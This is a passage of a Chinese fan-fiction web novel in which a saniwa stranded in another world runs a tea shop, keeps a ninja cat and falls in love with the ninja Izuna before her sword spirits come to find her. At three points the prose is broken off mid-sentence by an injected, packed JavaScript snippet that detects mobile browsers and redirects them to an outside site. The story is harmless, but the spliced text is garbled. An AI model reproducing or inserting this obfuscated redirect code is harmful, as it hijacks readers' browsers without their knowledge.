我拿起逗猫棒去角落找牛奶,去之前先看了眼泉奈,泉奈只是摇摇头婉拒。 有时候真猜不透泉奈在想什么。 比牛奶的心思还难以捉摸。 我一边用新的逗猫棒哄牛奶,只是牛奶不知道为什么兴致不高,好好哄了一会儿才不像很情愿的样子用爪子糊了下逗猫棒上的坠子,然后身子一翻,闭起眼睛装睡了。 我:…… 好拙劣的演技! 好敷衍的黑白猫! 但我能怎么办,牛奶要装睡,只能让他装啊。 人不能叫醒装睡的人,装睡的猫也不行。 我坐回桌子边,有点想喝奶茶了,泉奈看起来也有点无聊,我就问他要不要喝。 得了肯定答案我就去调奶茶,一人一杯,接着放空大脑听雨。 安静了一会儿后,牛奶居然真的睡着了,发出小串的呼噜声。 泉奈听见低笑了两声,我问他笑什么,他就说猫睡了。 我嗯了声,不知道为什么也开始笑。 雨小了些后,泉奈就要离开了,他留下奶茶钱后准备出门,又好像想起了什么一样,回头问我:“对了,铃,你喜欢花吗?” “欸?”我愣了一下。 我对花没什么偏好,在本丸的时候,近侍们会会根据节气修改本丸的布景,长谷部和我说是为了让我能够感受到正常时间的流逝,不至于在本丸待久了或是长期出阵其他时间节点而不适应现世,但他转头又着急忙慌和我解释我如果很中意某种花材布景可以直接提出来。 我对这些没什么要求,就由着付丧神们打理了,倒是每次踏出天守阁看见本丸景色焕然一新时会有种“啊,这个季节了啊”的感叹。 不过泉奈问起这个总不至于是要把奶茶店的布景换掉吧。 我脑子里过了个冷笑话,而后回答:“嗯,还好,怎么了?” 泉奈垂下眼:“最近家里的人在制药,用到了一种最近开得很好的花,我想要是你喜欢,就带来给你。” “这样啊,”我说,“我都很喜欢,不过能入药的花是什么花呢?” 他笑了笑,没回答我:“下次带给你看。” 说着他转身撑开伞走入细雨当中。 过了几天泉奈带了几束浅粉色的木槿花来,柔软的花瓣看起来很是温柔。 我把花分装到细颈花瓶里,摆到每桌上当装饰。牛奶似乎很感兴趣,总想去扒拉花瓶,我阻拦几次后就把这些花都收拢起来放在自己窗边了。 之后泉奈来看猫的时候问了一句,我和他解释了一下不是花不好看没摆出来,泉奈就意味深长地盯着猫去了。 “猫喜欢玩是正常的,你别吓到他了。”我推了推他放在桌上的手肘提醒他,牛奶全身都毛都炸了。 泉奈回过头看我,温柔地笑了下说好。 我却突然想起第一次见面的时候,那个有一瞬间锋芒毕露的青年。 和现在的泉奈简直两模两样。 2. 这之后我又去见了几次琴乃,陪着她练神乐舞。 有一次练完后她和我开玩笑,突然和我说看她跳了这么多次,要不要也试试。 我推拒了一会儿,还是由着她把神乐铃塞到我手上,看着手里的礼器无奈地笑了下。 琴乃的神乐舞和我过去学的有差别,她的舞我记得不太清楚,倒是从小学的那套还有肌肉记忆。 我闭上眼想了会儿,而后循着记忆跳了起来。 跳完之后琴乃呆呆看我:“……这个和我跳的好像不太一样。” 我点点头:“是以前学的。” “欸?”琴乃好奇起来,问我以前怎么会学这个。 “嗯……以前在家里学的,后来因为一些事没有继续留在家里。” 琴乃听了后贴心地没追问下去,拉着我在神社里逛了逛,又和我说等到祭典一定要来。 我应了琴乃的邀请,当天晚上不知道是不是因为久违地跳了神乐舞,竟然梦到了本丸里的事。 那天是本丸刚结束了大阪城的任务,暴富的本丸去万屋采购了一番开宴会。 江家的刀剑付丧神们主动跳起舞热闹气氛,我也跟着凑热闹说我也会跳。 结果上了台后不知道跳什么,但话都放出去了,最后就跳了神乐舞。 跳完之后大家都挺沉默的,我正打算说付丧神不也算神吗,神乐舞怎么不算舞,结果长谷部看起来很感动,突然就大声说主人跳得真好之类的,什么辉夜姬啊之类的赞美张口就来,反而把我夸得不好意思了。 真是好捧场一刀。 醒来后我大脑放空了一会儿,披散着头发去翻通讯器,还是一直黑着,没有反应。 我叹了口气,见天还暗着,把通讯器塞回柜子打算再睡个回笼觉,一转头就看见不远处空中一双眼睛幽幽亮着,差点把我吓个半死。 “牛奶!”我回过神来,拍了拍胸口去把猫从高处的柜子上拎下来,“你怎么又跑到上面去了?” 牛奶软软喵了一声,用脑袋蹭我。 我:…… 完全凶不起来,根本没办法凶狠地教训他! 我叹口气把他放回窝里,自己也缩回被子里继续闭眼睡觉。 3. 很快到了祭典那天。 琴乃在台上跳神乐舞,祈愿神明保佑接下来的一年依旧风调雨顺作物丰收。 我想起以前有出阵过比较久远前的历史阶段,有一次在偏远地区也遇上了类似祈祷丰收的祭典,但那时候民风开放,还在祭祀时当地年轻男女就和他们的心仪对象开始亲密接触起来。 我都还没反应过来,脑子里被眼前所见惊呆了,倒是跟随出阵的清光脸色大变,拉着我就要遮住我眼睛把我往人群稀少的地方带,路上我们就遇上了埋伏的时间溯行军,真是好狡诈的一伙敌刀,认定了身为审神者的我会受到影响。 我当场用引雷咒炸掉了一体敌刀。 琴乃跳完神乐舞后,还有很多工作要做,给附近的居民赐福,我也跟着排队,轮到我后她冲我眨眨眼睛,偷偷塞了我个御守。 我也对她笑笑,说我也要回去了。 收好御守我就准备回家,回城町的路上突然听见一声细微的猫叫。 我停下脚步,一开始以为自己听错了,但又听见了刀剑的金属声,当即皱起眉找了过去。 交战发生在町外偏僻的一角,河水蜿蜒而去,借着月光隐约能看见深色的血自河面晕开。 地上歪七八钮倒了好几个人影,另有几个人站在掩映的林后对峙。 我越听越觉得猫叫声耳熟,捏着符纸踏入林中,接着看见泉奈和牛奶一人一猫与好几个全副武装的人对峙着,泉奈手里握振长刀,抿唇看着这些包围他的人。 对方朝我看来的一瞬,我正准备把符纸砸过去,泉奈就动了。 他的身形快得如同鬼魅,那群围攻他的人不知道为什么都没来得及反应,就这么僵立着,任由屠刀落下,当场倒地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749028|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后泉奈将刀上的血甩干,收刀归鞘,侧脸朝我看来。 “铃啊。”他说。 我轻轻眨了下眼睛,夜风吹得树叶哗哗响,鲜血的味道渐渐漫了上来。 月色投落的阴影下,泉奈的眼睛似乎被血染红,整个人的气势都如一柄出鞘的锋利长刀,危险而诡谲。 “我听见了猫叫。”我不知道该说什么,最后看向趴在他身边的牛奶。 黑白两色的猫此刻如同心虚般,悄悄瑟缩着,毛发上沾染了几丝血迹。 之前牛奶总在外面打架带着血回来的情况也有了解释。 泉奈安静了一会儿:“只有这个?” 我垂下眼:“……你刚才,好像被围攻了,有受伤吗?” “……没有。”他说。 脚步声响起,泉奈朝我走近,我纠结良久,最后还是打算问出来。 “牛奶是不是你的猫?”我是被这一人一猫诈骗伙食费了? “你对刚才看到的没有想问的吗?”他同时问道。 我:…… 泉奈:…… 我想了想,还是道:“如果你是指刚才那些身手……我其实是有点心理准备的。 “之前我看到你的手上有茧,我家里……过去也是剑士家族,家里有人练过剑,所以我认得出来……还有一些其他痕迹,不过没想到你身手这么好。” “我是忍者。”泉奈说。 我睁大眼睛看他,这还是我第一次这么仔细看一个忍者,以前的话接触得更多的是武士。 这么说来,他刚才那诡异的身手也有了解释。 “这样啊,”我说,“原来你是忍者啊,我还是第一次见。” 他低头盯着我,眼睛依旧是红色的,这时我才意识到他的眼睛不对劲,刚才并非我的错觉。 泉奈抓住我一只手握住:“还有其他问题吗?” 我点头:“猫,还有你的眼睛,是不是生病了?” 他微微闭了下眼睛,发出声短促的笑:“不是生病,本来就是这样的。那只猫……我不是他的主人,我们是合作关系,他是只忍猫,为什么赖上你当主人我也很奇怪。” 牛奶不服地跑过来尖利叫着,似乎是在反驳。 但我也不知道他在反驳什么。 泉奈握着我的手温热,我的注意力都在手上去了,又想问他为什么要抓我的手。 泉奈另一只手在衣服上擦了下,而后从怀中取出枚发簪,他抿了抿唇,继续说道:“本来,我是来送这个的。” 那是枚槿花样式的细工发簪,花蕊坠着几粒柔润的珍珠。 他有些粗暴地将发簪塞到我手中:“但现在发生了这种事,你不要的话就丢掉,别让我知道就行。” 说着,他松开我的手。 我突然明白了什么。 我记得忍者和武士地位悬殊,忍者向来没有地位,这个世界估计也是如此。 泉奈一直瞒着没说这事恐怕就是因为这个。 以后他估计不会来找我了。 我下意识抓住正在转身的泉奈的袖子,在他看向我时,问他:“泉奈,你是不是喜欢我?” 泉奈没说话,猫也突然不叫了。 四周安静得可怕。 我握着发簪:“你不说话,我就当你默认了。” 他猛地回头:“哈?” “我是喜欢你的。”我说。 他陡然僵住,而后垂下眼眸,轻声说道:“……这可是你说的。” “我说话算话,没有——”开玩笑。 手上的发簪被我握得用力,带着些血味的气息压了上来,泉奈的手按住我的后脑,另一只手按住我的肩,而后咬上了我的唇。 牛奶陡然发出一声刺耳的叫声,就要扑上泉奈,被泉奈伸手拎住后颈。 他起身皱眉看向猫,猫在半空扑腾个不停,我连忙伸手去抱猫:“是不是刚才受伤了?” “……” 没听到答案,我抬头看泉奈,他脸色难看地盯着猫,猫也不示弱地瞪着他不停扑腾,我差点没按住。 “好了,牛奶,别闹!”我又低头凶狠地威胁牛奶,“给我检查一下!” 牛奶此刻又虚弱地瘫在我怀里,虚弱地咪了一声。 5. 第五章 1. 我有思考过和泉奈交往这件事。 毕竟我不是这个世界的人,说不定哪天通讯器就响了,要回现世去。 那么在这个世界缔结新的联系有必要吗? 但我在这个世界待了三年,往后恐怕会有无数个三年。 一开始的时候我也想着不和周围的人有过多交流,但后来我和邻居熟悉起来,交了新朋友,养了自己的宠物,又为什么不能谈恋爱呢。 满足自己的情感需求是天经地义的事,就算是神明也无法指摘。 ……只是牛奶似乎有意见。 所以我基本没有负担地和泉奈交往了。 就算以后要离开,也是以后的事,谈恋爱又不是不能分手。 自从我和泉奈交往,他来找我时,牛奶基本都不在家,也不知道是怎么精准踩上这个点的。 但也不知道是不是这个原因,牛奶回家的频率多了起来。 这猫居然爱上了回家,难以置信。 交往之后,我和泉奈说话时就没有那么多顾忌了。 以往他的身份是客人和关系不亲近的朋友,很多话题都不能触碰,但成为恋人后不一样了。 我问泉奈家里的情况。 “有一个哥哥。”他说。 我哦了一声,鉴于这个时代的习俗:“所以你现在在给你哥哥做事?” 他愣了下,似乎有点意外,然后点头:“嗯……也不算,我是忍者,理应为族里奉献。” 我睁大眼睛,真是好古板的想法。 这个时代,除了长子,其他孩子一般是没有人权,要么服务长子要么远走他乡的。 泉奈就这么心甘情愿被哥哥奴役吗! 他见状伸手戳了下我的脑门:“不是你想的那样。” 他怎么知道我在想什么! 我握住泉奈的手,很严肃地说:“其实,实在不行,你可以入赘到我家的。你别看我现在只有一家店,其实我算是有一座城的,我家的人也不会觉得忍者的身份有问题,你完全不用担心这些。只是我现在和我的家人失散了,等他们找到我我就能回去了。” 泉奈侧过头猛地咳嗽起来,耳朵都红了,他忍着笑和我说他会考虑的,我却被他看得有些恼怒,凶巴巴地对他解释:“我没开玩笑!” 我知道这个说法确实有点像“我,秦始皇,打钱”的骗局,但这是真的!本丸的规模本来也有一座城那么大! 后来我问他们忍者一般要做什么。 武士我是清楚的,一般要上阵杀敌,忍者的话我就不清楚了,我知道的有名忍者就一个风魔小太郎,德川幕府时代好像也有一个,但我不记得名字了。 忍者一般就是刺杀?打探情报? 我问起我的猜测,泉奈思考了一下,点头:“确实要做这些。” “啊,那还挺危险的,你们现在也能接到这些任务吗?” 泉奈点头,又让我放心:“其实也没有那么危险,就和你说的那样,上战场一般是武士的事。” 我说完全不一样,都很危险,然后旧事重提,问他愿不愿意入赘。 他有点无奈地笑了笑:“以后有机会的时候吧。” 什么时候才是有机会! 我瞪他一眼,他却揉了揉我的脑袋。 这个死心眼!怎么就这么甘心被长子压榨呢! 泉奈轻轻吻了下我的眼睛,劝我:“我知道你是关心我……不过我和哥哥的关系很好,和其他家里的兄弟关系不一样。” 我没吭声。 我家膝丸也说他和他哥关系好,跟历史上那对源氏兄弟不一样——虽然髭切总爱“忘记”弟弟的名字,他们关系也确实好。 可我又没见过泉奈他哥,我才不信。 2. 因为知道他们忍者现如今还会执行那些危险的任务,我拿起之前琴乃塞给我的御守研究起来。 本丸也有御守,关键时刻能抵挡致命一击,每次出阵时我都会让刀剑付丧神们戴上。 我这次回现世的时候,身上没带御守,这些年也差不多忘了这个东西,还是知道泉奈的处境后才想起还有这个好东西的。 御守的原理说难也不难,就是灌注大量的灵力进去,在刀剑即将破坏时灵力爆发将其修复至破坏前的状态。 不过能承受大量灵力的物件很少,御守是承载灵力的媒介,时之政府提供给我们的御守里本身就具有灵力,也省了我们灌注灵力的时间——所以不是免费的。 但现在只能我自己来了,也不知道什么时候能做好。 这么私下里给御守灌注着灵力,时间很快到了第二年开春。 泉奈问我要不要一起去新年参拜,我欣然答应。 在神社里遇见琴乃后,她和我打招呼,看看我又看看我身边的泉奈,眼中露出茫然,而后神情了然,和我说恭喜。 “要不要试试许和恋人相关的愿望呢,我们神社的神明也有缘结神的神职,很灵的呢。” 我笑着说好,谢过琴乃后向大殿走去。 也不知道丰收神怎么和缘结神扯上关系的,不过也很有趣。 参拜完我们下山,泉奈和我牵着手,我又想起之前遇上在山上遇见他和牛奶的事。 “上次在这里见到你,你说你是见朋友,真的?”我问他。 他面上有点苦恼:“……是任务。” “那牛奶?” “和我一起做的任务,那时候刚做完。” “我们牛奶过得这么危险啊。”我感叹了一声。 泉奈停下脚步,没说话。 他望向我,我疑惑地看回去,问他怎么了。 “你只关心猫吗?”泉奈问我,向我凑近了些,“我呢?” 我眨眨眼,拉着他袖子轻轻吻了下他:“牛奶是猫,你怎么和猫计较啊……而且我有给你准备礼物的,但还要等段时间。” 泉奈眼底浮现了点笑意,起身说他才没在意一只猫。 哇,那刚才是谁问我怎么只关心猫的! 我们说说笑笑这下山,泉奈突然僵住了,停下脚步,一动不动。 我正奇怪他的反应,就看见山脚的鸟居边上有个人抱手而立,穿着身厚实的深蓝色袍子,长长的黑发桀骜不驯地炸开,手上戴着全黑的手套,微阖着眼。 似乎察觉到了什么,那人抬眼朝我们看了过来。 泉奈向下走了一步,全身紧绷着把我挡在身后。 鸟居边的男人微微挑了下眉,将手放下朝山上走来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749029|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉奈没动,等到男人走到近前,才干巴巴地喊了声“哥”。 我:!!!! 我连忙去看这位只闻其声不见其人的泉奈他哥,两人的气质完全不一样,他哥额前的刘海挡住了大半张脸,看起来有点吓人和阴沉。 我想起泉奈口中“很好”、“温柔”的哥哥:? 再看看泉奈此刻的样子,我更是有些无语:你不是也被吓了一跳吗! 泉奈他哥挑了下眉,看了看我,又看向泉奈:“你近来总是外出。” 泉奈:“……” “新年怎么也出来了。”他哥继续说。 “这是谁,”这次他哥看向我,而后语气微妙,“朋友吗?” “……是。”泉奈说。 泉奈的哥哥语气更为微妙:“朋友啊……泉奈,你明明知道——” “我们不是朋友,”我有点不悦地皱了下眉,从泉奈身后走出来,打断他哥哥没说完的话,“我在和你弟弟交往。你尽管开条件吧,泉奈的哥哥,我是不会让他离开我的!” 泉奈的哥哥吃惊地睁大眼睛,连泉奈也转头看了过来。 “怎、怎么了吗?!”我抬了抬下巴,握紧有点紧张的手,尽管放马过来吧,有一个本丸的我才不会被什么给你xxx离开我弟弟这种话羞辱到! “原来你就是泉奈的恋人?”泉奈的哥哥却突然笑了一下。这一下犹如冰雪消融,我愣住,突然就想起之前泉奈的“温柔哥哥”说——他没骗人啊。 泉奈你哥怎么还能变脸的? “是、是的,哥哥,”泉奈抓住我的手,有点紧张,“因为铃有自己的生活,是个普通人,我不想她牵扯进来,所以一直没和哥哥说。” “这样啊,”他扫过我和泉奈交握的手,“你们玩去吧,我也不是来……” 说到这里,泉奈的哥哥突然有点促狭地笑了,看向我后停顿一下再说出后面的话:“开条件让你、不对,让我弟弟离开你的。” 我:…… 好尴尬! “……那,谢谢哥哥?”我试探地问。 泉奈握紧了我的手,他哥突然笑出声,而后从包里递了两个信封样的东西出来,给我和泉奈一人发了一个:“好好过新年去吧。” 我拿着这份御年玉不知所措,转头看向同样神情错愕的泉奈。 等到他哥哥走了后,我才喃喃开口:“泉奈,你哥人真的好好。” 我吃软不吃硬,压岁钱能让我彻底对人改观。 泉奈:…… “不过你哥刚才走之前是什么意思?”我又问泉奈。 刚才他哥走之前,很是意味深长地和泉奈说什么没想到他比他哥当年更出格。 什么意思啊。 泉奈没说话。 过了一会儿,他看向我。 “哥哥见过你了。”他说。 “嗯嗯。”我看着他。 “也没有反对。”他继续说。 “之前你说入赘,虽然不行……但我不想你参与到忍者里的事,等你的家人找到你同意后,我们结婚吧,你想住在族外也没有问题。”他又说。 我:“欸?!” 等等,族外? 泉奈他们是住在传说中的忍者之里吗? 6. 第六章 1. 泉奈的话我不知道该怎么回答。 毕竟我的家人……先不说能不能找到我,他们联系上我我估计就得回去了。 更别说更久远的结婚了。 我含糊地回了句我想想,泉奈也没催我给个答复。 “如果你想搬来和我一起住,我也很乐意。”他又补充了一句。 我闻言还是摇头。 其他不知道,但忍者向来神秘和规矩多,我虽然好奇忍者之里是什么样的,但住进去还是敬谢不敏。 暂时把这事扔在脑后,我们在街上玩了会儿就回去了。 牛奶也回家了。 一开门,黑白双色的奶牛猫便像颗炮弹一样冲向泉奈。 开门的是泉奈,我站在他身后,见状只来得及大喊一声牛奶的名字,便见泉奈面无表情地把门合上。 嘭—— 好响的一声。 我连忙挤开泉奈开门,牛奶站在门前委屈地望着我。 我连忙揉他脑袋,问他:“你怎么还和泉奈过不去,他以前还喂你和你玩呢,你都在他这里吃瘪多少次了,怎么还记不住啊?” 牛奶连声咪着蹭我脑袋,泉奈忍不住了:“对了,铃,我之前一直没和你说。” 我停下手看他,牛奶动作也停住了。 “忍猫和普通的猫不一样。”泉奈说。 “嗯?”我看着连尾巴都僵住的牛奶,又看向泉奈,有些懵,“怎么不一样?” 牛奶哇地叫了一声,突然窜到泉奈脚边,不停地去蹭泉奈的腿,咪咪呜呜地乱叫着。 也亏泉奈能忍住不抱猫,我看着都心软了,他还站在原地看这牛奶撒娇不动摇。 而后他终于动了,把猫拎起来拿给我抱着:“他以后不会捣乱了。” “欸?” 我低头看猫,奶牛猫恹恹地趴在我怀里呜呜叫着,委屈极了。 我安慰地揉揉猫脑袋,小声和他说:“泉奈和你开玩笑的,别伤心了。” 猫呜地更厉害了。 唉。 2. 这之后又过了大半年,除了我和泉奈确定关系那天,泉奈几乎没再将忍者世界的一面暴露给我,牛奶也时不时失踪,大概是陪同他们忍者做任务去了。 我的御守也终于完工,找了个时间递给泉奈,让他随身带着。 泉奈有些好奇地看着御守,微微挑眉:“怎么看着像……” 我捂住他的唇,瞪着他:“不一样的,你好好戴着就知道了。” 我当然知道他要问什么,毕竟御守本体是琴乃他们神社卖的制式御守,外表是没变的。 泉奈眨了眨眼睛,就着这个姿势蹭了蹭我的手,抬手抓住我的手压在一边,又用唇蹭了蹭我的唇角:“嗯,我当然知道不一样,铃给我的,我都很喜欢。” 我:…… 我连忙推他:“牛奶就在边上,你这样会让牛奶学坏的!” “他都出去了。”泉奈让我看猫刚才待的地方,果然没了牛奶的身影。 我大感震撼,这猫什么时候这么有眼力了! 我的表情大概实在很震撼,泉奈没忍住抱住我笑出了声,我一开始也不想笑,但笑声是会传染的,最后也跟着他笑起来。 笑完之后我们并排躺着,我又伸手推泉奈肩膀,问了个很久前想问的问题。 “喂,泉奈,你什么时候喜欢我的?”我问他。 他有些意外,转过头看我,浓密的眼睫极黑,微微颤着。 “不知道。”泉奈说。 “咦?”我问。 “一开始是牛奶,你知道的,他是只忍猫,所以对你有点好奇,所以遇见也就遇见了。那时候……只是觉得你有点奇怪。”泉奈说。 “嗯嗯,然后呢?”我又问。 “然后发现,你果然很奇怪,”泉奈说着也笑,拿手扶开我脸上垂落的散发,手指轻轻摩挲我的脸颊,“果然哪里都很奇怪,所以忍不住一直来找你。” “不是找牛奶?” “别提那只猫。” “……哦,”我回了一声,还是没忍住,“其实我挺嫉妒你和牛奶的,明明牛奶是我的猫,但我总觉得你们好像更默契一点,有种说不出来的联系的感觉,好像你比我更懂我的猫。” 泉奈有点意外,像是不可思议:“你嫉妒我更懂那只猫?” “不行吗?”我理直气壮地问他,“明明我才是主人!” 他又笑起来:“你果然很奇怪。” 我想了想,提出一种猜测:“有没有一种可能,对你来说,奇怪就是喜欢。” 泉奈的表情突然顿住,而后反应很大:“绝对不可能,这样说来,我岂不是——” “岂不是是什么?” “没什么。”他闭口不谈,我怎么问也不说。 “好吧,你就嘴硬吧!”我翻身起来,拢了拢有些乱的头发,戳他肩膀催他一起,“走了走了,你答应我今天陪我去神社找琴乃的,再拖下去回来就得天黑了。” 3. 御守送出的第二天,和时之政府的通讯器突然有了动静。 在我和往常一样操作了一番后,通讯器突然传来了电流一样的沙沙声,吓得在窝里舔毛的牛奶一个翻身望了过来。 我愣了好半天,直到通讯器里响起一个有些冷淡的声音:“……似乎联系上了,主上,能听见吗?” 我一个起身,快步走到牛奶面前,提起猫把他打开门把他放到门外,摸摸他的脑袋:“乖,去外面玩一会儿。” 然后不顾牛奶撒娇,冷酷地把门关上,再回到通讯器前用灵力布下结界。 “……白山吗?”我问。 通讯器那边的杂讯短暂地停了一下,而后那边响起一个激动的声音:“主人,终于联系上你了……喵!让我再说几句!” 似乎是通讯器被人抢走了,对面的南泉发出愤怒的声音,而后又换了个相对冷静地多的声音:“大将,现在您能听见吗?” “药研?” “是我,大将,现在向您汇报您不在本丸时所发生的事,自您失踪后政府多次派遣调查员接洽,同时对传送器进行封锁性故障排查,得出您意外去往其他世界的结论,这之后我们就一直尝试联系上您,直至今日本丸已过去四百七十六天,”药研在通讯器那一端汇报着,“此刻我们正在锁定您所在的位置,请再给我们一些时间接您回家。” “这样啊。” 药研的声音无疑能让人冷静,一开始有些无措的激动之后,我安静下来。 看来本丸的时间与这里并不同步,我这里已经过去了四年多,本丸那里才过去一年多,但我的失踪肯定也让付丧神们担心:“我这里一切都好,没有生存危机,你们不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749030|174246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着急,既然已经联系上了,一切求稳。” “……”通讯器的杂讯声突然大了起来,而后药研的声音传了过来,带着丝不符合药研平日冷静的情绪,“大将,我本应该说本丸一切都好,不需要担心,但是,我们……想见您。” 通讯器突然中断。 我短暂地愣住,而后尝试重启通讯器,但重启后通讯器依旧无法联系上本丸,不知道是哪一边的问题。 试了几次都没办法联系上,我不得不放下通讯器收好,而后才打开门,垂眸看着被我逮了个正着正在挠门的牛奶。 牛奶看见我后愣了下,而后自间隙穿过溜进房间。 我跟着猫进来,看着猫四处嗅闻,蹲在猫边上问:“牛奶,你在找什么?” 牛奶僵住,尾巴缓缓垂下,而后走到边上用尾巴轻轻扫我的腿,咪咪叫着。 我无奈地摸摸他的脑袋,和他说:“刚才的事,不许传出去,知道吗?” 牛奶的猫毛炸开,整只猫僵住,我再度和他确认:“嗯,我知道,你听得懂,也能交流。” 牛奶垂下猫头,委屈咪呜了一声。 我不为所动地继续揉他脑袋:“你是我的猫,你要记住这一点。” 4. 之后通讯器陆陆续续又联系上了几次,只是接通讯的都是白山。 “希望您能原谅兄弟,他们只是太想念您了。”白山的话让我有点奇怪。 于是我问他:“难道真的会有暗堕刀的存在,你们中有刀因为我失踪暗墮了?” “……不,没有这种事,请您放心。”白山说。 我松了口气:“那就谈不上原谅不原谅的问题。” 白山说:“感谢您的宽容,主上。” ……怎么感觉怪怪的。 不过白山说话一直有点人机味,好像也正常。 这之后他向我汇报了一下政府援救我回去的进度和本丸内部维护工作的安排,说因为他的狐狸是通讯器所以能捕捉和我联系的机会,其他刀想和我联系但是总错过,目前本丸内近侍的职责就由能和我保持联系的他担任。 “嗯,辛苦了,白山。”我说。 很快我就明白白山说的那番和他兄弟有关的话是怎么回事了。 一个午后,我的店里走进了三个披着长斗篷把自己遮得严严实实的人。 最矮的那个斗篷人的斗篷鼓鼓囊囊的,似乎有什么在斗篷里动。 牛奶立在我身边,龇牙咧嘴地冲着三人叫,警惕万分。 我却感觉到了什么,站了起来,看着他们。 中间的那个身高位于同伴之间的斗篷人率先摘下了斗篷,露出一张极为眼熟的脸。 “大将,”黑发紫眸的付丧神看向我,用着一种似乎是感叹又似释然的声音说道,“终于……见到您了。” 另一边,那个最矮的斗篷里冲出了几只白底黑纹的小老虎,退头上的兜帽落下,惊慌地追小虎,我见状一手一只连忙抓住两只。 退怀里抱着一只,看着和牛奶对峙起来的另外两只小虎,用着一种像是要哭的声音:“……对不起,主人。” 而另一边,一直沉默的斗篷人终于开口:“你养了新的猫啊……喵。不,不要这样看我,我又不是猫,没有其他意思……喵!” 我:…… 白山,你变了,这么重要的事都学会了隐瞒。 7. 第七章 1. 我带着付丧神们回了房间。 小老虎只在我房间里拆家还好,至少不会被别人看见了引起骚动。 把牛奶留在外面望风,我问起自家的三振刀怎么过来的。 南泉说他们是趁着传送器检修调试时来的,他们害怕我在这边遇到什么意外,但要回去还是得等时之政府的正式救援。 “因为大将你强调了你在这边没有危险,所以初步评估这个世界对大将存在威胁。”药研说道。 我看向我一直认为很稳重的短刀:“……说起来,药研,你会跟着来,我有点意外。” 药研唇边漾起一抹微不可见的笑:“大将,我是护主的短刀。” 这还让我怎么说,于是我又看向五虎退。 抱着小老虎的短刀小心翼翼地望着我:“……很担心主人。” …… 完全不忍心苛责! 这个世界上没有审神者能狠下心来对退说重话! 那就只能象征意义地说一下南泉了! 我再度将视线转回南泉,金发的刀剑付丧神端正地跪坐着,迎着我的目光问我:“你养了其他猫……我没有在指责主人的意思喵!” 我:…… 想起我曾经给牛奶取过南泉的名字,我更心虚了。 “但是,擅自通过封锁的传送装置还是不允许的,回去后你们轮流做内番。”我轻轻咳了一声,最终说道。 三刃都没有反驳。 于是药研又问我在这个世界的情况。 我先说了两个世界的时间流速差问题,南泉穷追不舍地问牛奶,我刚要解释,就听见门外猫大声叫起来。 付丧神们戒备起来,外面传来泉奈的声音。 泉奈在问牛奶我是不是在房间里。 我看向眼前的三位付丧神,大惊失色,让他们躲去壁橱。 我还没想好该怎么和我泉奈解释! “大将?”药研有些疑惑。 “我男朋友。”我走到门口和他们使了个眼色,然后在泉奈要来到门前敲门时拉开门从门缝里挤出去,又把门关上。 泉奈站在门外,垂眸看我:“铃,你房里有奇怪的声音。” “嗯?你听错了吧。”我朝他笑笑,又拉紧了下门。 泉奈眉头轻皱:“可能是我的敌人,会有危险。” “欸?”我愣了下,连忙拦他手,但慢了一步,泉奈已经把门拉开了。 我屏住呼吸,不敢往房里看。 泉奈这时有些疑惑地问我:“这些刀……是你的吗?” 我猛地转头,看向房内,只见三把刀的本体躺在地上,付丧神们暂时附在本体当中。 我差点感动地飙泪,松了口气的同时往内走去:“是啊……都是我家的刀,今天天气好,想着拿出来保养一下。” 泉奈跟着我进屋,打量其他可能藏人的角落,又问:“怎么把刀放在地上。” “可能是出来的时候有点忙,带到地上了,你刚才不是说听见声音了吗?” “带到地上?”泉奈语调微扬。 我看眼地上的刀,也觉得就这么让他们躺在地上不好,蹲下身捡刀。 泉奈也随即蹲下帮我,我下意识拦住他拿刀的手。 泉奈一愣,抬眼看我:“铃?” 我:…… 泉奈挑眉。 我重重咳了下,抱着刀放到桌上,又问泉奈怎么来了。 泉奈的表情更加诡异:“我不能来吗?” “……”见我呆住没说话,他抬手摸了摸我的额头,又问,“铃,你是不是有什么事瞒着我?” 我挪开他的手握住,转移话题:“泉奈,我今天想吃虾,我们一起去买点回来吧。” 泉奈定定看了我一会儿,转过头妥协:“走吧。” 2. 我有点犹豫该怎么和泉奈说我的事。 之前只是能够用通讯器联络,我还没什么实感,但当付丧神们找来后,即将离开这个世界的紧迫感就来了。 但我该怎么和泉奈解释呢? 心不在焉地和泉奈待了一晚,第二天他临走时突然摸了摸我脑袋:“铃,如果不想说就不说。” 我有点想和他笑笑,又笑不太出来,突然觉得当初自顾自要和泉奈谈恋爱的我有些不顾他的想法。 他顿了一下,指腹擦过我有些湿润的眼眶:“被欺负了吗?” 我抓住他的袖子摇头,紧紧抱住他:“没什么,就是有点舍不得你离开。” “那要不要跟着我去族里住?”他低声问我。 我依旧摇头:“你别动,让我再抱一会儿。” 